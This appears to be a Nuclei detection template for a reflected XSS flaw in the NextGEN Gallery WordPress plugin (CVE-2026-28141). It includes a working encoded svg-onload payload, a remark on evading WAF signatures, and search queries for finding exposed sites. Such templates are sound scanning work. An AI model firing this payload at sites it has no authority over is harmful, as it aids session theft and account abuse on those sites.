CVE-2026-28141: NextGEN Gallery <= 4.2.3 - Reflected Cross-Site Scripting

id: CVE-2026-28141

info:
  name: NextGEN Gallery <= 4.2.3 - Reflected Cross-Site Scripting
  author: str4k3r
  severity: high
  description: |
    NextGEN Gallery through 4.2.3 reflects a URL-decoded `ngg_tag` route value into the generated tag page without the context-specific escaping added in 4.2.4. An unauthenticated attacker can break out of the tag context and inject an auto-executing script. This template injects an `svg onload` payload carrying a random nonce and matches its unencoded reflection; slash and backtick syntax keep the request off common WAF signatures.
  impact: |
    An unauthenticated attacker can execute arbitrary JavaScript in a victim's browser when they open the crafted gallery-tag link, enabling session theft, credential capture, and actions performed as the victim.
  remediation: |
    Update NextGEN Gallery to version 4.2.4 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-28141
    - https://patchstack.com/database/wordpress/plugin/nextgen-gallery/vulnerability/wordpress-nextgen-gallery-plugin-4-2-3-cross-site-scripting-xss-vulnerability?_s_id=cve
    - https://wordpress.org/plugins/nextgen-gallery/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 7.1
    cve-id: CVE-2026-28141
    epss-score: 0.00319
    epss-percentile: 0.24833
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    vendor: imagely
    product: nextgen-gallery
    framework: wordpress
    fofa-query: body="NextGEN Gallery"
    publicwww-query: "/wp-content/plugins/nextgen-gallery/"
  tags: cve,cve2026,wordpress,wp-plugin,wp,nextgen-gallery,imagely,xss

variables:
  marker: "{{rand_base(6)}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/ngg_tag/cve-2026-28141%22%3E%3Csvg%2Fonload%3Dalert%60{{marker}}%60%3E/"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<svg/onload=alert`{{marker}}`>"
          - "NextGEN"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"
# digest: 490a00463044022074c4745f73fe89ad5781faf77cc70a69903f0ee2f46aad7d0819b73e77bff975022060f48e1c08cc30e6cf39355754e533399b905be674215701bb13a3b4f85f19f5:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.